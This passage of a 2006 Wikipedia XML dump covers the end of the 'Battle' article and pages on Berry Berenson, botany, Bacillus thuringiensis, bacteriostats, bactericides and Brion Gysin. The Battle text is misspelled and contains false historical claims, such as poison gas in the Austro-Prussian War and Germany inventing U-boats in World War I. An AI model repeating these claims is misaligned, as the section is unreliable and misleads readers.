There is an obvious difference in the way battles have been fought throughout time. Early battles were probably fought between rival hunting bands as disorganized mobs. However, during the [[Battle of Kadesh]], the first documented battle, in 1275 BC, actual discipline was instilled in both armies. This continued through the Ancient Times and the [[Middle Ages]]. However, during the many wars of the [[Roman Empire]], [[barbarians]] continued using mob tactics. As the [[Age of Enlightenment]] dawned, armies began to fight in highly diciplined lines. Each would follow the orders from their officers and fight as a single unit instead of individuals. Each army was successively divided into [[regiments]], [[battalions]], [[Company (military unit)|companies]], and [[platoons]]. These armies would march, line up, and fire in divisions. [[Native Americans in the United States|Native Americans]], on the other hand, did not fight in lines and utilizing instead guerrilla tactics. The [[Americans|United States of America]] during the [[American Revolution]] also followed suit. Europe, during the [[Napoleonic Wars]], continued using diciplined lines, continuing into the [[American Civil War]]. A new style, during [[World War I]], known as [[trench warfare]], developed nearly half a decade later. This also lead to [[radio]] for communication between batallions. Chemical warfare also emerged with the use the use of poisonous gas during [[World War I]] and the [[Austro-Prussian War]]. By [[World War II]], the use of the smaller divisions, platoons and companies, became much more important as precise operations became vital. Instead of the locked trench warfare of World War I, during World War II, a dynamic network of battles developed where small groups encountered other platoons. As a result, elite squads became much more recognized and distinguishable. Vehicle warfare also developed with an astonishing pace with the advent of the [[tank]], replacing the archaic cannons of the Enlightenment Age. Artillery has since gradually replaced the use of frontal troops. Modern battles now continue to resemble that of World War II, though prominent innovations have been added. Indirect combat through the use of aircraft and missiles now comprise of a large portion of wars in place of battles, where battles are now mostly reserved for capturing cities.

== The difference of naval battles throughout history ==
One significant difference of modern naval battles as opposed to earlier forms of combat is the use of [[marines]], which introduced amphibious warfare. Today, a marine is actually an infantry regiment that sometimes fights soley on land and is no longer tied to the navy. A good example of an old naval battle is the [[Battle of Salamis]]. Most ancient naval battles were fought by fast ships using the [[battering ram]] to sink oppsing feets or steer close enoguh for boarding in hand-to-hand combat. Troops were often actually used to storm enemy ships as used by [[ancient Rome|Romans]] and [[pirates]]. This tactic was usually used by civilizations that could not beat the enemy with ranged weaponry. Another invention in the late [[Middle Ages]] was the use of [[Greek fire]] by the Byzantines, which was used to light enemy fleets on fire. Empty demolition ships utilized the tactic to crash into opposing ships and set it afire with an explosion. After the invention of cannons, naval warfare became useful as support units for land warefare.  During the [[19th Century]], the development of mines led to a new type of naval warfare. The [[ironclad]], first used in the [[American Civil War]], resistant to cannons, soon made the wooden ship obsolete. The invention of a [[U-Boat]], that is, submarine, during [[World War I]] by the [[Germany|Germans]] brought naval warefare to both above and below the surface. With the development of aircraft during [[World War II]], battles were fought in sky as well as below the ocean. [[Aircraft carriers]] have since become the central unit in naval warfare, acting as a mobile base for lethal aircraft.

== Aerial battles throughout history ==
Although the use of aircraft has for the most part always been used as a supplement to land or naval engagements, since their first major military use in World War I aircraft have increasingly taken on larger roles if warfare.  During World War I, the primary use was for reconaissance, and small-scale bombardment, using ineffectual hand-dropped bombs.  Aircraft began becoming much more prominent in the [[Spanish Civil War]] and especially World War II.  Aircraft design began specializing, primarily into two types: bombers, which carried explosive payloads to bomb land targets or ships; and fighter-interceptors, which were used to either intercept incoming aircraft or to escort and protect bombers (engagements between fighter aircraft were known as [[dog fights]].  Some of the more notable aerial battles in this period include the [[Battle of Britain]] and the [[Battle of Midway]].

Another important use of aircraft came with the development of the [[helicopter]], which first became heavily used during the Vietnam War, and still continues to be widely used today to transport and augment ground forces.

Today, direct engagements between aircraft are rare - the most modern fighter-interceptors carry much more extensive bombing payloads, and are used to bomb precision land targets, rather than to fight other aircraft.  Anti-aircraft batteries are used much more extensively to defend against incoming aircraft than interceptors.  Despite this, aircraft today are much more extensively used as the primary tools for both army and navy, as evidenced by the prominent use of helicopters to transport and support troops, the use of aerial bombardment as the &quot;first strike&quot; in many engagements, and the replacement of the battleship with the aircraft carrier as the center of most modern navies.

== Battle naming ==
[[Image:Battle of Gibraltar 1607.jpg|thumb|left|300px|''[[Battle of Gibraltar]]'' of [[1607]] by [[Hendrick Cornelisz Vroom]].]]

Battles are almost invariably named after some feature of the battlefield [[geography]], such as the name of a town, forest or river.  Occasionally battles are named after the date on which they took place, such as [[The Glorious First of June]].  In the [[Middle Ages]] it was considered important to settle on a suitable name for a battle which could be used by the [[chronicler]]s.  For example, after [[Henry V of England]] defeated a French army on [[25 October]], [[1415]], he met with the senior French [[herald]] and they agreed to name the battle after the nearby [[castle]] and so it was called the [[Battle of Agincourt]].  In other cases, the sides adopted different names for the same battle, such as the [[Battle of Gallipoli]] which is known in Turkey as the [[Battle of Çanakkale]].  Some place names have become [[synonymous]] with the battles that took place there, such as [[Passchendaele]], [[Attack on Pearl Harbor|Pearl Harbor]] or [[Battle of the Alamo|the Alamo]].  [[Military operation]]s, many of which result in battle, are given [[codename]]s, which are not necessarily meaningful or indicative of the type or the location of the battle. [[Operation Market Garden]] and [[Operation Rolling Thunder]] are examples of battles known by their military codenames.

When a battleground is the site of more than one battle in the same conflict, the instances are distinguished by [[ordinal number]], such as the [[First Battle of Bull Run|First]] and [[Second Battle of Bull Run|Second Battles of Bull Run]].  An extreme case are the twelve [[Battle of the Isonzo|Battles of the Isonzo]] &amp;mdash; [[First Battle of the Isonzo|First]] to [[Twelfth Battle of the Isonzo|Twelfth]] &amp;mdash; between [[Italy]] and [[Austria-Hungary]] during the First World War.

Some battles are named for the convenience of [[military historian]]s so that periods of combat can be neatly distinguished from one another.  Following the First World War, the British Battles Nomenclature Committee was formed to decide on standard names for all battles and subsidiary actions.  To the soldiers who did the fighting, the distinction was usually academic; a soldier fighting at [[Beaumont Hamel]] on [[13 November]] [[1916]] was probably unaware he was taking part in what the committee would call the &quot;[[Battle of the Ancre]]&quot;.

Many combats are too small to merit a name.  Terms such as &quot;action&quot;, &quot;skirmish&quot;, &quot;firefight&quot;, &quot;raid&quot; or &quot;offensive patrol&quot; are used to describe small-scale battle-like encounters.  These combats often take place within the time and space of a battle and while they may have an objective, they are not necessarily &quot;decisive&quot;.  Sometimes the soldiers are unable to immediately gauge the significance of the combat; in the aftermath of the [[Battle of Waterloo]], some British officers were in doubt as to whether the day's events merited the title of &quot;battle&quot; or would be passed off as merely an &quot;action&quot;.

== The effects of a battle ==
Battles have both personal and political effects.  The personal effect of a battle can be a psychological or a physical effect; a psychological effect is on the minds of the participants. For example, many battle-survivors have nightmares &lt;!-- about wars such as the [[Korean War]] or [[World War II]]. --&gt; or abnormal reactions to certain sights or sounds.  The physical effects of battle on survivors can include scars, amputations, lesions, loss of hearing, blindness, and paralysis.

Battles also affect [[politics]].  A decisive battle that is won can cause one side to surrender &amp;ndash; or that same victory can be a [[Pyrrhic Victory]]. A decisive victory can force one side to submit to the interests of the victor, perhaps by ceding territory or changing policies.  Battles have been fought in [[civil wars]] to decide the fate of [[monarchs]] and different political factions.  Examples include the [[War of the Roses]] and the [[Jacobite Uprisings]].  Battles have also affected such things as the continuance of a war. An example is the [[Battle of Inchon]].

==See also==
*[[Naval battle]]
*[[Pitched battle]]
*[[Military tactic]]s
*[[Warfare]]
*[[List of battles]]

== References ==
*{{cite book | title = The Face of Battle | author = Keegan, John | year = 1976 | id = ISBN 1844137481 | publisher = Pimlico }}

[[Category:Battles|*]]
[[Category:Warfare]]

[[cs:Bitva]]
[[de:Schlacht]]
[[es:Batalla]]
[[fr:Bataille]]
[[hr:Bitka]]
[[it:La Bataille]]
[[hu:Harc]]
[[nl:Veldslag]]
[[ja:戦闘]]
[[pl:Bataille]]
[[ro:Bătălie]]
[[ru:Битва]]
[[sl:Bitka]]
[[sr:Bataille]]
[[fi:Taistelu]]
[[sv:Slag (krig)]]</text>
    </revision>
  </page>
  <page>
    <title>Berry Berenson</title>
    <id>4182</id>
    <revision>
      <id>40650733</id>
      <timestamp>2006-02-22T01:46:49Z</timestamp>
      <contributor>
        <username>Bbsrock</username>
        <id>137159</id>
      </contributor>
      <text xml:space="preserve">'''Berry Berenson''' (née '''Berinthia Berenson''', a.k.a. '''Berry Perkins'''), ([[April 14]], [[1948]] &amp;ndash; [[September 11]], [[2001]]), was a U.S. model, actress and photographer. She was best known as the wife of actor [[Anthony Perkins]], from 1973 until his death in 1992.  She was also the mother of actor [[Oz Perkins]], and Elvis Perkins.

Following a successful modelling career, Berenson had a number of minor roles in big budget movies, including ''[[Cat People (1982 film)|Cat People]]'', before starring opposite [[Jeff Bridges]] in ''Remember My Name''. She then developed a career in photography, shooting many photos for the covers of [[Life magazine]], as well as fashion pictures for ''[[Vogue (magazine)|Vogue]]'' magazine.

She died at age 53 in the [[September 11, 2001 Terrorist Attack]] on board [[American Airlines flight 11]]. She had been returning from a holiday on [[Cape Cod]] to her [[California]] home.

Born into distinguished American and European families, she was the younger daughter of Robert L. Berenson, a U.S. diplomat of Lithuanian-Jewish descent whose original family name was Valvrojenski. Her mother was Countess Marisa de Wendt de Kerlor, also known as Gogo Schiaparelli, a socialite of Italian, Swiss, and Egyptian ancestry (she is now Marchesa Cacciapuoti di Giugliano). Berry Berenson's maternal grandmother was the Paris fashion designer [[Elsa Schiaparelli]], and her sister was actress and model [[Marisa Berenson]]. She was also a great-great-niece of [[Giovanni Schiaparelli]], an Italian astronomer who believed he had discovered the supposed [[Martian canal|canals of Mars]], a great-great-niece of art expert [[Bernard Berenson]] (1865&amp;ndash;1959), and a great-great-niece of Senda Berenson (1868&amp;ndash;1954), an athlete and educator who was one of the first two women elected to the Basketball Hall of Fame.

==See also==
* [[sep11:Berry Berenson|Memorial to Berry Berenson]] on the September 11 wiki

==External links==
* [http://www.cnn.com/CNN/Programs/showbiz.today/featured.story/0109/12.html CNN Showbiz Today&amp;mdash;Cultural figures among the victims]
*{{imdb name|id=0073550|name=Berry Berenson}}

[[Category:1948 births|Berenson, Berry]]
[[Category:2001 deaths|Berenson, Berry]]
[[Category:September 11, 2001 attacks|Berenson, Berry]]
[[Category:Entertainers who died in their 50s|Berenson, Berry]]
[[Category:Plane crash victims|Berenson, Berry]]</text>
    </revision>
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  <page>
    <title>Botany</title>
    <id>4183</id>
    <revision>
      <id>41925626</id>
      <timestamp>2006-03-02T17:43:30Z</timestamp>
      <contributor>
        <username>MPF</username>
        <id>38759</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/64.213.216.246|64.213.216.246]] ([[User talk:64.213.216.246|talk]]) to last version by 4.240.120.55</comment>
      <text xml:space="preserve">:''For other meanings, see [[Botany (disambiguation)]]''

'''Botany''' is the [[Scientific method|scientific study]] of plant[[life]]. As a branch of [[biology]], it is also sometimes referred to as '''plant science(s)''' or '''plant biology'''. Botany covers a wide range of scientific disciplines that study the [[growth]], [[reproduction]], [[metabolism]], [[morphogenesis|development]], [[phytopathology|diseases]], [[ecology]], and [[evolution]] of [[plant|plants]].

[[Image:US long grain rice.jpg|right|thumb|Nearly all the food we eat comes (directly and indirectly) from plants like this American long grain rice.]]

==Scope and importance of botany==
As with other life forms in biology, plant life can be studied from different perspectives, from the [[molecular biology|molecular]], [[genetics|genetic]] and [[biochemistry|biochemical]] level through [[organelle]]s, [[cell biology|cells]], [[biological tissue|tissues]], [[organ (anatomy)|organ]]s, individuals, plant [[population]]s, and [[biodiversity|communities]] of plants. At each of these levels a botanist might be concerned with the classification ([[taxonomy]]), structure ([[anatomy]]), or function ([[plant physiology|physiology]]) of plant life.


Historically, botany covers all organisms that were not considered to be [[animal]]s. Some of these &quot;plant-like&quot; organisms include [[fungi]] (studied in [[mycology]]),  [[bacterium|bacteria]] and [[viruses]] (studied in [[microbiology]]), and [[algae]] (studied in [[phycology]]). Most algae, fungi, and microbes are no longer considered to be in the plant kingdom. However, attention is still given to them by botanists, and bacteria, fungi, and algae are usually covered in introductory botany courses. 

So why study plants? Plants are a fundamental part of life on earth. They  generate the [[oxygen]], [[food]], [[fibre]]s, fuel and medicine that allow higher life forms to exist. Plants also absorb [[carbon dioxide]], a significant [[greenhouse gas]], through [[photosynthesis]]. A good understanding of plants is crucial to the future of human societies as it allows us to:
* Feed the world
* Understand fundamental life processes
* Utilise medicine and materials
* Understand environmental changes

===Feed the world===
Virtually ''all'' of the food we eat comes from plants, either directly from [[staple food]]s and other [[fruit]] and [[vegetables]], or indirectly through [[livestock]], which rely on plants for [[fodder]]. In other words, plants are at the base of nearly all [[food chain]]s, or what ecologists call the first [[trophic level]]. Understanding how plants produce the food we eat  is therefore important to be able to ''feed the world'' and provide [[food security]] for future generations, for example through [[plant breeding]]. Not all plants are beneficial to humans, [[weeds]] are a considerable problem in [[agriculture]] and botany provides some of the basic science in order to understand how to minimise their impact. [[Ethnobotany]] is the study of this and other relationships between plants and people.

[[Image:mendel.png|frame|left|[[Gregor Mendel]] laid the foundations of genetics from his studies of plants.]]

===Understand fundamental life processes===
Plants are convenient organisms in which fundamental life processes (like [[cell division]] and [[protein synthesis]] for example) can be studied, without the ethical dilemmas of studying animals or humans. The [[mendelian inheritance|genetic laws of inheritance]] were discovered in this way by [[Gregor Mendel]], who was studying the way [[peas|pea]] shape is inherited. What Mendel learnt from studying plants has had far reaching benefits outside of botany. Additionally, [[Barbara McClintock]] discovered '[[transposon|jumping genes]]' by studying [[maize]]. These are a few examples that demonstrate how botanical research has an ongoing relevance to the understanding of fundamental biological processes.

===Utilise medicine and materials===
Many of our [[medication|medicinal]] and [[recreational drugs]], like [[cannabis (drug)|cannabis]], [[caffeine]], and [[nicotine]] come directly from the plant kingdom. [[Aspirin]], which originally came from the [[bark]] of [[willow]] trees, is just one example. There may be many [[drug discovery|novel cures for diseases]] provided by plants, waiting to be discovered. Popular [[stimulant]]s like [[coffee]], [[chocolate]], [[tobacco]], and [[tea]] also come from plants. Most [[Alcoholic beverage|alcoholic beverages]] come from [[fermentation|fermenting]] plants such as [[hops]] and [[grapes]].

Plants also provide us with many natural materials, such as [[cotton]], [[wood]], [[paper]], [[linen]], [[vegetable oil]]s, some types of [[rope]], and [[rubber]]. The production of [[silk]] would not be possible without the cultivation of the [[mulberry]] plant. [[Sugarcane]] and other plants have recently been put to use as sources of [[biofuel]]s, which are important alternatives to [[fossil fuel]]s.

===Understand environmental changes===
Plants can also help us understand changes in on our environment in many ways. 

*Understanding [[habitat destruction]] and [[endangered species|species extinction]] is dependent on an accurate and complete catalogue of plant [[systematics]] and [[taxonomy]].
*Plant responses to [[ultraviolet|ultraviolet radiation]] can help us monitor problems like the [[ozone depletion]]. 
*[[palynology|Analysing pollen]] deposited by plants [[geologic timescale|thousands or millions of years ago]] can help scientists to reconstruct past climates and predict future ones, an essential part of [[climate change]] research.
*Recording and analysing the timing of plant [[biological life cycle|life cycles]] are important parts of [[phenology]] used in climate-change research.
*[[Lichens]], which are sensitive to atmospheric conditions, have been extenisvely used as [[pollution]] indicators.

In many different ways, plants can act a bit like the '[[canary|miners canary]]', an ''early warning system'' alerting us to important changes in our environment. In addition to these practical and scientific reasons, plants are extremely valuable as recreation for millions of people who enjoy [[gardening]], [[horticulture|horticultural]] and [[herb|culinary]] uses of plants every day.

==History==

===Early botany (before 1945)===
[[Image:Botany.jpg|thumb|right|The traditional tools of a botanist.]]
Among the earliest of botanical works, written around [[300 B.C.]], are two large treatises by [[Theophrastus]]: ''On the History of Plants'' (''[[Historia Plantarum]]'') and ''On the Causes of Plants''. Together these books constitute the most important contribution to botanical science during antiquity and on into the Middle Ages. The Roman medical writer [[Dioscorides]] provides important evidence on Greek and Roman knowledge of medicinal plants.

In 1665, using an early microscope, [[Robert Hooke]] discovered [[cell (biology)|cells]] in [[cork (material)|cork]], a short time later in living plant tissue. The German [[Leonhart Fuchs]], the Swiss [[Conrad von Gesner]], and the British authors [[Nicholas Culpeper]] and [[John Gerard]] published herbals that gave information on the medicinal uses of plants.

===Modern botany (since 1945)===
A considerable amount of new knowledge today is being generated from studying [[model organisms|model plants]] like ''[[Arabidopsis thaliana]]''. This mustard weed was one of the first plants to have its [[genome]] sequenced. The sequencing of the rice genome and a large international research community have made [[rice]] the de facto [[cereal]]/[[grass]]/[[monocot]] model. Another grass species, [[Brachypodium distachyon]] is also emerging as an experimental model for understanding the genetic, cellular and molecular biology of temperate grasses. Other commercially important staple foods like [[wheat]], [[maize]], [[barley]], [[rye]], [[millet]] and [[soybean]] are also having their genomes sequenced. Some of these are challenging to sequence because they have more than two [[haploid]] (n) sets of [[chromosome]]s, a condition known as [[polyploid|polyploidy]], common in the plant kingdom. The &quot;Green Yeast&quot; ''[[Chlamydomonas reinhardtii]]'' (a single-celled, green [[alga]]) is another plant model organism that has been extensively studied and provided important insights into cell biology.


==See also==
* [[Agriculture]]
* [[Botanical garden]] and [[List of botanical gardens]]
* [[Dendrochronology]]
* [[List of domesticated plants]]
* [[Ethnobotany]]
* [[Flower]]s and [[List of flowers]]
* [[Forestry]]
* [[Herb]]s
* [[Horticulture]]
* [[List of botanical journals]]
* [[List of botanists]]
* [[List of botanists by author abbreviation]]
* [[List of publications in biology]]
* [[Paleobotany]]
* [[Plant community]]
* [[Plant sexuality]]
* [[Soil science]]
* [[Tree]]s
* [[Vegetable]]s and [[List of vegetables]]
* [[Vegetation]]

==References==
* U.S. Geological Survey. [http://www.nbii.gov/disciplines/botany/ National Biological Information Infrastructure: Botany]

==Further reading==
===[[Popular science]] style books on Botany===
* [[David Bellamy|Bellamy, D]] ''Bellamy on Botany'', ISBN 0563106662 an accessible and short introduction to various botanical subjects
* Capon, B: ''Botany for Gardeners'' ISBN 0881926558
* Cohen, J. ''How many people can the earth support?'' W.W. Norton 1995 ISBN 0393314952
* Halle, Francis. ''In praise of plants'' ISBN 0881925500. English translation of a poetic advocacy of plants.
* King, J. ''Reaching for the sun: How plants work'' ISBN 0521587387. A fluent introduction to how plants work.
* [[Thomas Pakenham|Pakenham, T]]: ''Remarkable Trees of the World'' ([[2002]]) ISBN 0297843001
* Pakenham, T: ''Meetings with Remarkable Trees'' ([[1996]]) ISBN 0297832557 
* Pollan, M ''The Botany of Desire: A Plant's-eye View of the World'' Bloomsbury ISBN 0747563004 Account of the [[co-evolution]] of plants and humans
* Thomas, B.A.: ''The evolution of plants and flowers'' St Martin's Press [[1981]] ISBN 0312272715
* Walker, D. ''Energy, Plants and Man'' ISBN 1870232054 A presentation of the basic concepts of photosynthesis

===Academic and Scientific books on Botany===
* Buchanan, B.B., Gruissem, W &amp; Jones, R.L. (2000) ''Biochemistry &amp; molecular biology of plants''. American Society of Plant Physiologists ISBN 0943088399
* Crawford, R. M. M. (1989). ''Studies in plant survival''. Blackwell. ISBN 063201475X
* Crawley, M. J. (1997). ''Plant ecology''. Blackwell Scientific. ISBN 0632036397
* Ennos, R and Sheffield, E ''Plant life'', Blackwell Science, ISBN 0865427372 Introduction to plant [[biodiversity]]
* Fitter, A &amp; Hay, R ''Environmental physiology of plants'' 3rd edition Sept 2001 Harcourt Publishers, Academic Press ISBN 0122577663
* Lawlor, D.W. (2000) ''Photosynthesis'' BIOS ISBN 1859961576
* Matthews, R. E. F. ''Fundamentals of plant virology'' Academic Press,1992.
* Mauseth, J.D.: ''Botany : an introduction to plant biology''. Jones and Bartlett Publishers, ISBN 0763721344 - A first year undergraduate level textbook
* Raven, P.H, Evert R.H and Eichhorn, S.E: ''Biology of Plants'', Freeman. ISBN 1572590416 - A first year undergraduate level textbook
* Richards, P. W. (1996). ''The tropical rainforest''. 2nd ed. C.U.P. (Pbk) ISBN 0521421942 £32.50
* Ridge, I. (2002) ''Plants'' [[Oxford University Press]] ISBN 0199255482
* Salisbury, FB and Ross, CW: ''[[Plant physiology]]'' Wadsworth publishing company ISBN 0534151620
* Stace, C. A. ''A new [[Flora (plants)|flora]] of the British Isles''. 2nd ed. C.U.P.,1997. ISBN 0521589355
* Strange, R. L. ''Introduction to [[plant pathology]]''. Wiley-VCH, 2003. ISBN 0470849738
* Taiz, L. &amp; Zeiger, E. (1998). ''Plant physiology''. 3rd ed. August 2002 Sinauer Associates. ISBN 0878938230
* Walter, H. (1985). ''[[Vegetation]] of the earth''. 3rd rev. ed. Springer.
* Willis, K (2002) ''The evolution of plants'' Oxford University Press ISBN 0198500653 £22-99

==External links==
{{book}}
[http://users.rcn.com/jkimball.ma.ultranet/BiologyPages/P/PlantGrowth.html plant growth] and [http://users.rcn.com/jkimball.ma.ultranet/BiologyPages/P/PlantCell.html the plant cell] from [http://users.rcn.com/jkimball.ma.ultranet/BiologyPages/ Kimball's Biology Pages]
*[http://www.biologynews.info/ Biology News Headlines],
*[http://www.botany.org/newsite/botany/ Botanical Society of America: What is Botany?]
*[http://www-saps.plantsci.cam.ac.uk/index.htm Science and Plants for Schools]
*[http://www.uni-wuerzburg.de/mineralogie/palbot/teach/botanyteach.html Teaching Documents about Botany] Teaching documents, lecture notes and tutorials online: an annotated link directory.
*[http://www.aspb.org/aboutus/ American society of plant biologists APSB]
*[http://www.plantsci.cam.ac.uk/teaching/content.html Why study Plants? Dept of Plant Sciences, University of Cambridge]
*[http://www.ubcbotanicalgarden.org/potd/ Botany Photo of the Day]
*[[David Attenborough]] - [[The Private Life of Plants]]
===[[Flora (plants)|Flora]] and other plant [[catalog|catalogues]] or [[database|databases]]===
* [http://www.ou.edu/cas/botany-micro/www-vl/ The Virtual Library of Botany]
* [http://wikisource.org/wiki/NVC-National_Vegetation_Classification%2C_UK_representative_plant_species List of major natural Plant Species in the UK, described in the National Vegetation Classification]
* [http://www.kulak.ac.be/bioweb/ High quality pictures of plants and information about them] from Catholic University of Leuven
* [http://fax.libs.uga.edu/QK1xC981/ Curtis's Botanical Magazine], 1790-1856 
* [http://fax.libs.uga.edu/QK488xE4/ The Trees Of Great Britain and Ireland], by Henry John Elwes &amp; Augustine Henry, 1906-1913 
* [http://www.pflanzen-portal.com Botanik-Datenbank] (ger.)



{{Biology-footer}}
[[Category:Botany|*]]

[[an:Botanica]]
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[[et:Botaanika]]
[[es:Botánica]]
[[eo:Botaniko]]
[[eu:Botanika]]
[[fa:گیاه‌شناسی]]
[[fr:Botanique]]
[[fur:Botaniche]]
[[gl:Botánica]]
[[ko:식물학]]
[[ht:Etid plant]]
[[id:Botani]]
[[ia:Botanica]]
[[it:Botanica]]
[[he:בוטניקה]]
[[la:Botanica]]
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[[lt:Botanika]]
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[[li:Plantkónde]]
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[[mk:Ботаника]]
[[nl:Plantkunde]]
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[[ja:植物学]]
[[no:Botanikk]]
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[[sa:वनस्पति विज्ञानं]]
[[sco:Botanie]]
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[[sk:Botanika]]
[[sl:Botanika]]
[[sr:Ботаника]]
[[fi:Kasvitiede]]
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[[uk:Ботаніка]]
[[vo:Planav]]
[[zh:植物學]]</text>
    </revision>
  </page>
  <page>
    <title>Bacillus thuringiensis</title>
    <id>4184</id>
    <revision>
      <id>37287977</id>
      <timestamp>2006-01-30T00:58:35Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgrey
| name = ''Bacillus thuringiensis''
| regnum = [[Bacterium|Bacteria]]
| phylum = [[Firmicutes]]
| classis = [[Bacilli]]
| ordo = [[Bacillales]]
| familia = [[Bacillaceae]]
| genus = ''[[Bacillus]]''
| species = '''''B. thuringiensis'''''
| binomial = ''Bacillus thuringiensis''
| binomial_authority = Berliner, 1915
}}
'''''Bacillus thuringiensis''''' is a [[bacterium]] that lives in the soil, in the [[caterpillar]]s of some [[moth]]s and [[butterfly|butterflies]] and also on the surface of plants. It was discovered 1901 in Japan and 1911 in Germany by Ernst Berliner (he discovered a disease called &quot;Schlaffsucht&quot; in caterpillars of the [[flour moth]]). It seems that it is the same organism as ''[[Bacillus cereus|B. cereus]]'', a soil bacterium, and ''[[Bacillus anthracis|B. anthracis]]'', the cause of [[Anthrax disease|anthrax]]; the three organisms only differ in their [[plasmid]]s.  Like other members of the genus, all three are [[aerobe]]s capable of producing [[endospore]]s.

''B. thuringiensis'' produces crystals of [[toxin]] that are lethal to larval stages (caterpillars) of the insects which belong to orders Coleoptera, Lepidoptera and Diptera, but are considered harmless to most other organisms, including humans. Therefore, the spores of the bacterium and the toxic crystals (that are produced in the plasmids of the bacterium) are used in crop protection, especially in organic farming, where the use of chemical pesticides is not considered an option. This is done by spraying plants with the bacterium itself, or with an [[insecticide]] that contains the bacterial spores. The agent has been available since 1938 in France, 1950 in the USA, and was improved in the 1960s. Today different subspecies are used against the different insects, For instance, ''[[Bacillus thuringiensis israelensis]]'' is effective against [[mosquito]] larvae and some midges. Other variants used are ''B. thuringiensis kurstaki'', ''B. thuringiensis aizawa'', ''B. thuringiensis san diego,'' and ''B. thuringiensis tenebrionis''.

Another way to protect plants is to create [[transgenic plants]] that [[gene expression|express]] the [[gene]] for the bacterial toxin, as is currently done in the [[United States|USA]], [[India]], [[China]]  and [[Australia]] for [[cotton]] (''Bt-cotton''), and for [[maize|corn]] (''Bt-corn'') in [[United States|USA]] and [[Canada]]. This has generated some controversy, especially regarding the ill effects Bt corn was purported to have on [[monarch butterfly]]s. The emergence of resistance in affected insects is another significant issue [http://camillapede.tripod.com/bapaper.html].

[[Category:Bacillaceae]]

[[de:Bacillus thuringiensis]]
[[fr:Bacillus thuringiensis]]
[[it:Bacillus thuringiensis]]</text>
    </revision>
  </page>
  <page>
    <title>Bacteriophage</title>
    <id>4185</id>
    <revision>
      <id>15902476</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Phage]]
</text>
    </revision>
  </page>
  <page>
    <title>Bacteriostat</title>
    <id>4186</id>
    <revision>
      <id>40125255</id>
      <timestamp>2006-02-18T08:46:21Z</timestamp>
      <contributor>
        <ip>222.152.188.152</ip>
      </contributor>
      <text xml:space="preserve">A '''bacteriostat''' is a biological or chemical agent that causes [[bacteriostasis]]. It stops [[bacterium|bacteria]] from reproducing, while not necessarily harming them otherwise. Upon removal of the bacteriostat, the bacteria usually start to grow again. Bacteriostats are often used in [[plastic]]s to prevent growth of bacteria on the plastic surface. Dot

Bacteriostats commonly used in laboratory work include [[sodium azide]] and [[thimerosol]].


{{bacteria-stub}}

[[category:Microbiology]]</text>
    </revision>
  </page>
  <page>
    <title>Bacteriocide</title>
    <id>4187</id>
    <revision>
      <id>40855559</id>
      <timestamp>2006-02-23T13:10:41Z</timestamp>
      <contributor>
        <ip>82.44.224.27</ip>
      </contributor>
      <text xml:space="preserve">A '''bacteriocide''' or '''bactericide''' is a substance that kills [[bacterium|bacteria]] and, preferably, nothing else.

Bacteriocidal [[antibiotic]]s kill bacteria: [[bacteriostatic]] antibiotics only slow their growth or reproduction.

Penicillin is a bactericide, as are cephalosporins.

{{bacteria-stub}}

[[de:Bakterizid]]</text>
    </revision>
  </page>
  <page>
    <title>Brion Gysin</title>
    <id>4188</id>
    <revision>
      <id>41318383</id>
      <timestamp>2006-02-26T15:03:37Z</timestamp>
      <contributor>
        <ip>213.36.10.152</ip>
      </contributor>
      <comment>/* Bibliography */ - dates, places of publication and publishers</comment>
      <text xml:space="preserve">'''Brion Gysin'''  ([[January 19]], [[1916]] - [[July 13]], [[1986]]) was a [[writer]] and [[painter]].

He is best known for his rediscovery of [[Tristan Tzara]]'s [[cut-up technique]] while cutting through a newspaper upon which he was trimming some mats. He did many experiments with cut-ups while living in [[Tangiers]] (where incidentally, he established with the Moroccan painter [[Mohamed Hamri]] a cafe called the 1001 Nights in order to employ members of the [[Master Musicians of Joujouka]] so that he could hear them as frequently as possible).  He shared his discovery with his friend [[William S. Burroughs]], who subsequently put the cut-up technique to good use and dramatically changed the landscape of [[American literature]]. Hamri subsequently organised, with [[Brian Jones]] from [[The Rolling Stones]], the international exposure of the music of Joujouka.

Gysin helped Burroughs with the editing of several of his novels, and wrote a script for a film version of ''[[Naked Lunch]]'' which was never produced. The pair collaborated on a large manuscript for [[Grove Press]] titled ''[[The Third Mind]]'' but it was determined that it would be impractical to publish it as originally envisioned. The book later published under that title incorporates little of this material.

As a joke, he contributed a recipe for [[marijuana]] fudge to a cookbook by [[Alice B. Toklas]]; it was unintentionally included for publication, becoming famous under the name [[Alice B. Toklas brownie]]s.

A consummate innovator, Gysin altered the [[cut-up technique]] to produce what he called permutation poems in which a single phrase was repeated several times, with the words rearranged in a different order with each reiteration. A memorable example of this is &quot;I don't dig work, man&quot; (try it!)

Many of these permutations were derived using a random sequence generator in an early computer program written by [[Ian Sommerville]]. 

He also experimented with permutation on recording tape, by splicing together the sounds of a gun firing recorded at different amplitudes in the [[BBC Radiophonic Workshop]] thus producing 'Pistol Poem.' The piece was subsequently used as a theme in 1960 for the performance in Paris of [[Le Domaine Poetique]], a showcase for [[experimental]] works by people like Gysin, [[Françoise Dufrêne]], [[Bernard Heidsieck]], and [[Henri Chopin]].

He worked extensively with the noted [[jazz]] soprano saxophonist [[Steve Lacy]].

In the early '60, together with Ian Sommerville, he built what is called the [[Dreamachine]], a device meant to be viewed with the eyes closed. He is the subject of a critically-acclaimed biography, ''Nothing Is True Everything Is Permitted: The Life of Brion Gysin'', by John Geiger, and features in Geiger's book &quot;Chapel of Extreme Experience: A short history of stroboscopic light and the Dream Machine&quot;. A monograph on Gysin was also published by Thames and Hudson. Also of interest is a collection of hommages, Man From Nowhere by Joe Ambrose, Frank Rynne, and Terry Wilson. In addition to substantial texts by the authors, Man from Nowhere contains tributes to Gysin by [[Marianne Faithful]], [[John Cale]], [[William Burroughs]], and [[Paul Bowles]].

==Bibliography==

*''To Master A Long Goodnight'' (Creative Age Press, New York, 1946) 
*''Minutes to Go'' (with William S. Burroughs) (Two Cities Editions, Paris, 1960)
*''The Exterminator'' (with William S. Burroughs) (Auerhahn Press, San Francisco, 1960)
*''The Process'' (Doubleday, New York, 1969)
